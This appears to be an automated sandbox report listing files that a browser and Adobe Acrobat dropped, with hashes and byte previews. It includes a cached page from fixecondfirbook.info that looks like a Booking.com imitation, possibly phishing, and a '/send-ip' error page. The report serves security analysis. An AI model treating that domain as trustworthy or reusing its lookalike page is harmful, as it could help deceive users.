SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4ed1d14c-e76d-4045-ba58-549f1a97d1b5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\518b5815-a900-4b8b-a1cb-7c8b0a64d276.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\9881b7d7-1c32-460f-9e1a-fe0a12fb52d4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZRtwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZRa
MD5:	C2D7A4B59C979DBA6D6203D146DE8D8A
SHA1:	9E1F1341C15BA07D6CBCF911F515061A65B93AA6
SHA-256:	0D37480DD936AD761D03DBF8AF42A234785B45BAA1117BA14A362711C0EB3F33
SHA-512:	CE385E9AADCB0B72CBC2B5B5F0E3083910D4C7AB090CA4F76462744E791F0360741770CC768FC212B13B18291E465CAA17058F6D700BE7601B3E8FA15151E399
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1368_1544753866\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1368_1544753866\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.018989605004616
Encrypted:	false
SSDEEP:	48:p/hUI1OwEU3AdIq7ak68O40E2szOxxUJ8BPFkf31U4PrHfqY3J5D:RnOwtQIq7aZ40E2sYUJAYRr/qYZ5D
MD5:	C4709C1D483C9233A3A66A7E157624EA
SHA1:	99A000EB5FE5CC1E94E3155EE075CD6E43DC7582
SHA-256:	225243DC75352D63B0B9B2F48C8AAA09D55F3FB9E385741B12A1956A941880D9
SHA-512:	B45E1FD999D1340CC5EB5A49A4CD967DC736EA3F4EC8B02227577CC3D1E903341BE3217FBB0B74765C72085AC51C63EEF6DCB169D137BBAF3CC49E21EA6468D7
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJVczFpOUt3Zm5uMThTVVR1RVItRXBDTTMwVzFkNTc0cGJwUlJSdGJYM0JVIn0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiM0hiWThLc3poeEF6UDVSUU9fZEpvZGNwbEtpRXR0RWh2UmZMZEtjSTdjZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC4xMS44LjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"lGxZ1-AH7F8MftKSBdZiFULmC8hZkIHy1_2XIoU81Z5mK0wHVwNV7-55CBTcuuvKjTje-AnKLDoG4S0A_Jeg4lSQK5V_Q4f6JVqp5Vj_ge86YkRZEv4m1bjKRY4N17SHobwuH8Hc_kAugFIlG1LIDHnrm1N7ZWIqo3fVlnVqgSstmvFXAhBazgs1UYRi3hPjPM6e1q1i2N1mIUbxLvG41frGo2QJ8W5J3buUjzs-0y250k-YkadKAR0

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1368_1544753866\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.820000180714897
Encrypted:	false
SSDEEP:	3:SVzHL3phUmWRDNKydvgHVz:SBHLLUmWRbCp
MD5:	BBEC7670A2519FEB0627F17D0C0B5276
SHA1:	9C30B996F1B069F86EF7C0136DFAF7E614674DEA
SHA-256:	670A6F6BBADAB2C2BE63898525FCAF72E7454739E77C04D120BC1A46B6694CAC
SHA-512:	1ED4ED6AE2A2CBE86F9E8C6C7A2672EBB2F37DBE83D2BF09D875DB435ED63BF5F5CF60CA846865166F9A498095F6D61BD51B0A092E097430439E8A5A3A14CB15
Malicious:	false
Preview:	1.03cccbb22b17080279ea1707c9ab093c59f4f4dd09580c841cfa794cb372228d

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1368_1544753866\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.462192586591686
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1kULJVPY:F6VlM8aRWpqS1kSJVg
MD5:	084E339C0C9FE898102815EAC9A7CDEA
SHA1:	6ABF7EAAA407D2EAB8706361E5A2E5F776D6C644
SHA-256:	52CD62F4AC1F9E7D7C4944EE111F84A42337D16D5DE7BE296E945146D6D7DC15
SHA-512:	0B67A89F3EBFF6FEC3796F481EC2AFBAC233CF64FDC618EC6BA1C12AE125F28B27EE09E8CD0FADB8F6C8785C83929EA6F751E0DDF592DD072AB2CF439BD28534
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.11.8.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1368_1544753866\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	4.629347296880043
Encrypted:	false
SSDEEP:	96:Mon4mvC4qX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJl:v5C4ql7BkIVmtRTGXvcxBsl
MD5:	8C702C686B703020BC0290BAFC90D7A0
SHA1:	EB08FF7885B4C1DE3EF3D61E40697C0C71903E27
SHA-256:	97D9E39021512305820F27B9662F0351E45639124F5BD29F0466E9072A9D0C62
SHA-512:	6137D0ED10E6A27924ED3AB6A0C5F9B21EB0E16A876447DADABD88338198F31BB9D89EF8F0630F4573EA34A24FB3FD3365D7EA78A97BA10028A0758E0A550739
Malicious:	false
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://drimer.io","asso

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	610
Entropy (8bit):	7.596151900307889
Encrypted:	false
SSDEEP:	12:6v/7iiaBY1azPX793IrzbrJif0E5zaB2klzfngSN17Aod/ja:rCMzPZ3Ir3rpkJk1/Ja
MD5:	6018807017AFEAD14417566F975FFDB4
SHA1:	2EE7C3239E4046E9567C8100DECD9ABE6093B79F
SHA-256:	99AF6690771B7B62A1325D0C0B38A9A0300C18921E4877DCF38A239B9C977502
SHA-512:	03C81DD6C526EE84F274F4BFE903FC694BFD4ED20B359C1A7BA09D940795316B816E869B59D4DA383AC8367B952E5ED7C7244795E1EDDB6976A358240421C789
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....)IDATX..?L.a...w1.......KS..Z..hM.].......c].R...1v.hL...tS[[.....H.1i].ld.!..ppx.....g.{s...}..!.@M.[...0......C ...9.P5....h......P...4o..'Ri...z.Tfn..D......2.y].F.5k...!..<.\|.[r......GdO....vE..$.&...`a...........e.N.._..l..Y..\...\|...;F........u..w... ...e.....5......h..=.58#2..>..\|^....Z._4u.....&Y.M.Z.S.Kt.as.q..2...D......N.%.n.A...g.W....@:S`1....2....e..a.C#h.d...#f..=.i.....qo..+.HN.O.k.:....O.............V&..1.l.t...SHe...\|....W.ts.c.....zj..=..3..b........?8...}....!.F._..m./.T.jv.P."..2.......C....d........A1.....IEND.B`.

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	169290
Entropy (8bit):	5.183926752751333
Encrypted:	false
SSDEEP:	768:lEFpFm7r2UBhZ/ntaFg7r2UBhZ/ntH7r2UBhZ/nt7FxwkBBWQitv7hZ/ntKSwkE5:WvVcrwqSbYl8Mg6
MD5:	F97AEEA08CDEB6E4FE2D65AD9AFB58FE
SHA1:	EA8D2860728437C237C439AB1391E459EF73A07B
SHA-256:	1ABB37D8A55D3CDEAA5BAE6705077BBD16AB2FCEC147CB2DBDE5A1650D1E62E2
SHA-512:	819D9306DA2454F98D18EEBC409C88C100F5F3219620B8D438D1976E99A0E8899EA07CE801E3AE28CE7B22C107D9D335E54E81481976DE5D131F5F544D824173
Malicious:	false
URL:	https://fixecondfirbook.info/
Preview:	.<!DOCTYPE html>.<html lang="en">..<head>. <meta charset="UTF-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title>B..king...m</title>. <style>. body {. margin: 0;. font-family: Arial, sans-serif;. background-color: #ffffff;. color: #000000;. }.. header {. background-color: #003580;. color: white;. padding: 10px 40px;. display: flex;. height: 55px;. justify-content: space-between;. align-items: center;. left: 0;. }.. header h1 {. margin: 0;. font-size: 20px;. }.. .content {. max-width: 400px;. margin: -20px auto;. background: white;. padding: 0px;. border-radius: 8px;. /* box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); /. / text-align: center; /. }.. .content2 {. max-width: 400px;. margin: 60px auto;. background: white;. padding: 0px;. border-radius: 8px;. / box-shadow: 0 2px 10px rgba(0,

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	610
Entropy (8bit):	7.596151900307889
Encrypted:	false
SSDEEP:	12:6v/7iiaBY1azPX793IrzbrJif0E5zaB2klzfngSN17Aod/ja:rCMzPZ3Ir3rpkJk1/Ja
MD5:	6018807017AFEAD14417566F975FFDB4
SHA1:	2EE7C3239E4046E9567C8100DECD9ABE6093B79F
SHA-256:	99AF6690771B7B62A1325D0C0B38A9A0300C18921E4877DCF38A239B9C977502
SHA-512:	03C81DD6C526EE84F274F4BFE903FC694BFD4ED20B359C1A7BA09D940795316B816E869B59D4DA383AC8367B952E5ED7C7244795E1EDDB6976A358240421C789
Malicious:	false
URL:	https://fixecondfirbook.info/favicon.ico
Preview:	.PNG........IHDR... ... .....szz....)IDATX..?L.a...w1.......KS..Z..hM.].......c].R...1v.hL...tS[[.....H.1i].ld.!..ppx.....g.{s...}..!.@M.[...0......C ...9.P5....h......P...4o..'Ri...z.Tfn..D......2.y].F.5k...!..<.\|.[r......GdO....vE..$.&...`a...........e.N.._..l..Y..\...\|...;F........u..w... ...e.....5......h..=.58#2..>..\|^....Z._4u.....&Y.M.Z.S.Kt.as.q..2...D......N.%.n.A...g.W....@:S`1....2....e..a.C#h.d...#f..=.i.....qo..+.HN.O.k.:....O.............V&..1.l.t...SHe...\|....W.ts.c.....zj..=..3..b........?8...}....!.F._..m./.T.jv.P."..2.......C....d........A1.....IEND.B`.

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	146
Entropy (8bit):	4.7571268282533
Encrypted:	false
SSDEEP:	3:PouV7uJzhquHbtt6vYk2ZRMRJfHKERSAEtvxLrXZiLKY8KWMm9AbBK6c4NGL:hxuJzhqIzyYk+qRU4zEdxXZiqNM0+BKj
MD5:	F903C6BF520C04B0EF07D926AF78E263
SHA1:	DEF53C8C51418D8A6660E50CAACEE77A5AAA575A
SHA-256:	E7C6B9D5281C4D2A3A7AF6293A17FC1685460DC81DD4BD59063637FFDB190029
SHA-512:	3358D5F395818B834B2A5C5B4C8A1FF617BC842F5732C79235A3847806A411D5512161A968EDFF684CD29B37DD12E2A7ADACA54E1C289434BBBBD1BA41F8C785
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="en">.<head>.<meta charset="utf-8">.<title>Error</title>.</head>.<body>.<pre>Cannot GET /send-ip</pre>.</body>.</html>.

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	642
Entropy (8bit):	7.485255326893554
Encrypted:	false
SSDEEP:	12:6v/7+FO+DpBBzM22sBdG4llNTJ6yHfbE8/jALtcq4PsesuZtC6mN:5tj2sBdpXlHfw8chcqgsCZxmN
MD5:	41A0E840AA47C87E19D2BFE0B1231C3F
SHA1:	B5F588CA91FC9E67B5EA658C5FF943B0639E57B9
SHA-256:	A333D02EEDDE7A4DD8643D58B0EA7947268A1762F35F517EB6000EC9E7FCFAE8
SHA-512:	8578A788F605BC27B4326EB38417A71E45A05AC885B971C49AC3C7D23F6DDF747F69F2CCF3DF0C461E1C90268247D6959F248D3001518F56888F6D6B8C1CDD2E
Malicious:	false
URL:	https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/us.png
Preview:	.PNG........IHDR...0...0.....`......uPLTE..0<9p..0.'@.....0<:p.s}TS.....a_.HFymk.IFy.;I......yx....HGy..........Wd.........&@...mk.......G^............l.........tRNS...;%j.....IDATH..a..0..`..5..KiA8..S..O.y.....h><..4.......c..0..Pm.v......i...iuo..;..X..H'7LVM.....{..5zM.{.B"-4r[O..L..fw.hY..G...\.@h.U.kS...d.2`{...]i.....Zt@....t.,.z..W..x..........V-lB...S.!...S....U5.....E.+...g..4.....!.?...N..w.7-L[....<j..\|.+r5.u~..a0.<.l..._.h.q..4.....(.>.<.E.I...-t....X.S.77-nX.......^.T.*.....s.m.......~V....Lnz....Y...5......-...\|...{q...'.lN.W.4W]..<.......`!..A......D@...$.....0X.I..1XI.....T....C..@.}....IEND.B`.

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	642
Entropy (8bit):	7.485255326893554
Encrypted:	false
SSDEEP:	12:6v/7+FO+DpBBzM22sBdG4llNTJ6yHfbE8/jALtcq4PsesuZtC6mN:5tj2sBdpXlHfw8chcqgsCZxmN
MD5:	41A0E840AA47C87E19D2BFE0B1231C3F
SHA1:	B5F588CA91FC9E67B5EA658C5FF943B0639E57B9
SHA-256:	A333D02EEDDE7A4DD8643D58B0EA7947268A1762F35F517EB6000EC9E7FCFAE8
SHA-512:	8578A788F605BC27B4326EB38417A71E45A05AC885B971C49AC3C7D23F6DDF747F69F2CCF3DF0C461E1C90268247D6959F248D3001518F56888F6D6B8C1CDD2E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....`......uPLTE..0<9p..0.'@.....0<:p.s}TS.....a_.HFymk.IFy.;I......yx....HGy..........Wd.........&@...mk.......G^............l.........tRNS...;%j.....IDATH..a..0..`..5..KiA8..S..O.y.....h><..4.......c..0..Pm.v......i...iuo..;..X..H'7LVM.....{..5zM.{.B"-4r[O..L..fw.hY..G...\.@h.U.kS...d.2`{...]i.....Zt@....t.,.z..W..x..........V-lB...S.!...S....U5.....E.+...g..4.....!.?...N..w.7-L[....<j..\|.+r5.u~..a0.<.l..._.h.q..4.....(.>.<.E.I...-t....X.S.77-nX.......^.T.*.....s.m.......~V....Lnz....Y...5......-...\|...{q...'.lN.W.4W]..<.......`!..A......D@...$.....0X.I..1XI.....T....C..@.}....IEND.B`.

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 190
Category:	downloaded
Size (bytes):	168
Entropy (8bit):	6.7197357652806184
Encrypted:	false
